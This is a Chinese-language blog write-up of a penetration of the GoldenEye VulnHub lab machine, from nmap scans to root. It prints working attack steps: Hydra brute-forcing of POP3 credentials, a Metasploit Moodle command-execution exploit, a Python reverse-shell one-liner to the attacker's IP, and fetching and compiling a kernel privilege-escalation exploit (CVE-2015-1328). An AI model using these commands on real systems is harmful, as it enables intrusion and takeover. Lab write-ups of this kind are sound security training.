滲透專案1-GoldenEye

jiuwen567發表於2024-03-30

靶機地址:https://www.vulnhub.com/entry/goldeneye-1,240/

靶機難度:中等(CTF)

目標:得到root許可權&找到flag.txt

資訊收集

  1. 收集目標ip

    • arp-scan -l (收集本地網路中的活躍主機的IP地址和MAC地址。)

      image-20240126183751739

      kali arp-scan網路掃描工具 掃描區域網ip地址-阿里雲開發者社群 (aliyun.com)

  2. nmap掃描到兩個埠

    image-20240126184203827

  3. 嘗試訪問80埠

    • 顯示的文字提示了一條線索,它說進入到/sev-home/目錄中。

    • User: UNKNOWN
      Naviagate to /sev-home/ to login
      需要登入,開始列舉查詢使用者名稱密碼資訊!

    • 檢視其頁面原始碼發現一個terminal.js檔案

      • 發現提示image-20240126194043270
    • 密碼資訊

      //I encoded you p@ssword below...
      //
      //InvincibleHack3r
      
  • 使用者名稱資訊

    閱讀提示可以猜測使用者名稱和密碼可能為:Boris或Natalya

滲透過程

獲得使用者名稱和密碼:

  1. 透過密碼資訊的收集發現這種編碼是unicode的一種編碼

    • Unicode編碼轉換 - 站長工具 (chinaz.com)經過這個網站轉化得到明文密碼

    • image-20240126195134347

    • 密碼為:

      InvincibleHack3r
      
  2. 猜測使用者名稱為boris成功

step2

  1. 登入成功後獲取到又一重要資訊

    image-20240126200348205

  2. POP3是一種發郵件的服務幫助中心_常見問題 (163.com)

  3. 繼續對ip地址進行埠掃描檢視pop3服務

    nmap -p- 192.168.177.129//全埠掃描
    

    image-20240126201453012

  4. nmap詳細掃描上述55006,55007埠

    nmap -p-55006,55007 192.168.177.129 -sS -sV -T5 -A
    
  5. 驗證了收集到的資訊image-20240126202226938

6.透過Hydra暴力破解pop3服務

  • Hydra密碼爆破工具使用教程圖文教程(超詳細)_hydra使用教程-CSDN部落格

  • echo -e 'natalya\nboris' > dayu.txt   ---將兩個使用者名稱寫入txt文字中
    
  • hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
    #/usr/share/wordlists/fasttrack.txt 是一個常見的字典檔案,通常被用於密碼破解、滲透測試和安全審計。這個檔案包含了許多常見的使用者名稱、密碼、常用短語和其他可能用於攻擊的字串列表。這些列表可以被安全專業人員用於測試系統的安全性,確認系統是否容易受到常見的口令攻擊。
    
  • 經過2~5分鐘等待,獲得兩組賬號密碼

    使用者:boris 密碼:secret1!
    使用者:natalya 密碼:bird

  1. 透過NC登入pop3檢視郵件信封內容列舉
  2. 檢視boris的
    • nc 192.168.177.129 55007 ---登入郵箱
      user boris ---登入使用者
      pass secret1! ---登入密碼
      list ---檢視郵件數量
      retr 1~3 ---檢視郵件內容

image-20240126223000200

讀到的資訊

  • image-20240126225526431

  1. 檢視natalya的

    • nc 192.168.177.129 55007 ---登入郵箱
      user natalya ---登入使用者
      pass bird ---登入密碼
      list ---檢視郵件數量
      retr 1~3 ---檢視郵件內容

    • 讀到的資訊

      image-20240126225725514

      在第二封郵件看到了另外一個使用者名稱密碼,此伺服器域名和網站,還要求我們在本地服務hosts中新增域名資訊:
      使用者名稱:xenia
      密碼:RCP90rulez!
      域:severnaya-station.com
      網址:severnaya-station.com/gnocertdir
      我們現根據郵件提示新增本地域名:severnaya-station.com

  2. 設定本地HOSTS檔案
    gedit /etc/hosts
    192.168.177.129 severnaya-station.com

step3

  1. 訪問severnaya-station.com/gnocertdir

  2. 剛登陸介面我就看到了moodle,這是一個開源的CMS系統,繼續點一點,發現要登陸,使用郵件獲得的使用者密碼進行登陸。

    是的,Moodle 是一種開源的學習管理系統(LMS),而不是一種內容管理系統(CMS)。Moodle 主要用於建立線上學習平臺,提供了豐富的教學和學習工具,包括課程管理、線上測驗、資源分享、討論論壇等功能。Moodle 的開源性質意味著使用者可以免費獲取、使用和定製它,同時還可以根據自己的需求擴充套件功能。

    內容管理系統(CMS)通常用於建立和管理網站內容,例如WordPress、Joomla 和Drupal,而學習管理系統(LMS)則專注於教育和培訓範疇。Moodle 在教育領域非常受歡迎,許多學校、大學和培訓機構都使用它來提供線上學習服務。

    whatweb severnaya-station.com/gnocertdir ---指紋搜尋也行

    image-20240202181835235

  3. 登入後,Home / ▶ My profile / ▶ Messages --->發現有一封郵件,內容發現使用者名稱doak收集到又一有用的資訊

    image-20240202181418238

  4. 又嘗試用九頭蛇爆破email username = doak的密碼

  5. echo doak > dayu.txt   ---將使用者名稱寫入txt文字中
    hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3 
    #或者直接爆破doak這一個
    hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3 
    
  6. 成功獲得密碼[pop3] host: 192.168.177.129 login: doak password: goat

  7. 登入doak使用者列舉郵件資訊
    nc 192.168.177.129 55007 ---登入郵箱
    user doak ---登入使用者
    pass goat ---登入密碼
    list ---檢視郵件數量
    retr 1 ---檢視郵件內容

  8. image-20240202183404928

step4

  1. 據上訴郵件訊息說,為我們提供了更多登入憑據以登入到應用程式。讓我們嘗試使用這些憑據登入。
    使用者名稱:dr_doak
    密碼:4England!

  2. 登入後發現

    image-20240202190217324

  3. Something juicy is located here: /dir007key/for-007.jpg
    現在我們檢視檔案的內容,指出管理員憑據已隱藏在映像檔案中,讓我們在瀏覽器中開啟影像以檢視其內容。

    訪問頁面:severnaya-station.com/dir007key/for-007.jpg

    下載到本地:
    wget http://severnaya-station.com/dir007key/for-007.jpg

    根據郵件提示讓我們檢查圖片內容,下載圖片後,我們可以使用:
    binwalk(路由逆向分析工具)
    exiftool(圖蟲)
    strings(識別動態庫版本指令)
    等檢視jpg檔案底層內容!

    exiftool for-007.jpg
    strings for-007.jpg
    用以上命令都可以檢視到base64編碼隱藏資訊:eFdpbnRlcjE5OTV4IQ==

image-20240204163037393

  1. 對上述base64編碼隱藏資訊解碼得到:xWinter1995x!
  2. 又由2知道使用者為admin,由此可以登入
  3. 成功用admin使用者登入站點image-20240204172227556

step5

  1. 進去內容太多了,花了很多時間檢視,圖片紅框顯示和我前面使用dr_doak使用者登陸郵箱發現的結果一致。
    這是Moodle使用的2.2.3版本,搜尋了網上的可用漏洞。

  2. google搜尋:Moodle 2.2.3 exp poc

  3. Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324

  4. 此版本有許多漏洞利用,由於我們需要在目標計算機上進行外殼訪問,因此我選擇使用遠端程式碼執行(RCE)漏洞利用。

    使用我們的神器:MSF

    image-20240302171401227

    msfconsole                        ---進入MSF框架攻擊介面
    search moodle                     ---查詢 moodle型別 攻擊的模組
    use 1                             ---呼叫0  exploit/multi/http/moodle_cmd_exec呼叫攻擊指令碼
    set username admin                ---設定使用者名稱:admin
    set password xWinter1995x!        ---設定密碼:xWinter1995x!
    set rhost severnaya-station.com   ---設定:rhosts severnaya-station.com
    set targeturi /gnocertdir         ---設定目錄: /gnocertdir
    set payload cmd/unix/reverse      ---設定payload:cmd/unix/reverse
    set lhost 192.168.177.128           ---設定:lhost 192.168.4.231(需要本地IP)
    exploit  ----執行命令
    

    image-20240302170426472

  5. 當我們執行後發現無法成功,是因為對方需要修改執行PSpellShell
    https://www.exploit-db.com/exploits/29324
    's_editor_tinymce_spellengine' => 'PSpellShell',

image-20240302170601859

  1. 成功,但互動shell不正常,有裝python

    image-20240302171909819

  2. 執行tty,因為獲得的許可權無框架:執行
    python -c 'import pty; pty.spawn("/bin/bash")' ---將shell進行tty

  3. 本地監聽,用python反彈shell

    • nc -lvp 6666
    • image-20240302172925647
    #python反彈shell
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.177.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    • image-20240302173023501
  4. 成功建立連線,但依然是不正常的shellimage-20240302173355669

  • python -c 'import pty; pty.spawn("/bin/bash")' ---將shell進行tty
  1. 核心提權
    uname -a 檢視許可權!

    image-20240302173546167

step6提權獲取flag

  1. 谷歌搜尋:Linux ubuntu 3.13.0-32 exploit

獲得exp版本:37292

CVE(CAN) ID: CVE-2015-1328

overlayfs檔案系統是一種疊合式檔案系統,實現了在底層檔案系統上疊加另一個檔案系統。Linux 核心3.18開始已經加入了對overlayfs的支援。Ubuntu Linux核心在更早的版本就已加入該支援。

Ubuntu Linux核心的overlayfs檔案系統實現中存在一個許可權檢查漏洞,本地普通使用者可以獲取管理員許可權。此漏洞影響所有目前官方支援的Ubuntu Linux版本,目前已經發布攻擊程式碼,建議受影響使用者儘快進行升級。

此漏洞源於overlayfs檔案系統在上層檔案系統目錄中建立新檔案時沒有正確檢查檔案許可權。它只檢查了被修改檔案的屬主是否有許可權在上層檔案系統目錄寫入,導致當從底層檔案系統目錄中複製一個檔案到上層檔案系統目錄時,檔案屬性也隨同複製過去。如果Linux核心設定了CONFIG_USER_NS=y和FS_USERNS_MOUNT標誌,將允許一個普通使用者在低許可權使用者名稱空間中mout一個overlayfs檔案系統。本地普通使用者可以利用該漏洞在敏感系統目錄中建立新檔案或讀取敏感檔案內容,從而提升到管理員許可權。

  1. 當前靶機下沒有gcc,只有ccimage-20240302174705137

  2. kali搜尋下:
    searchsploit 37292 ---搜尋kali本地的exp庫中37292攻擊指令碼資訊
    cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/Desktop ---目錄自行修改

  3. 這個靶場在列舉資訊知道:
    無法進行GCC編譯,需要改下指令碼為cc
    gedit 37292.c ---文字開啟
    第143行將gcc改為cc ---編寫下

  4. 然後在本機本目錄下開啟http服務:python -m http.server 8081

  5. 靶機上執行

    cd /tmp

    wget http://192.168.177.128:8081/37292.c ---wget下載http服務下的檔案

  6. 成功下載後執行cc編譯:
    cc -o exp 37292.c ---C語言的CC程式碼編譯點c檔案
    chmod +x exp ---編譯成可執行檔案,並賦權
    ./exp ---點槓執行

    id ---檢視目前許可權

    image-20240302180143019

    cat /root/.flag.txt ---讀取root下的flag資訊
    568628e0d993b1973adc718237da6e93

image-20240302180207877

相關文章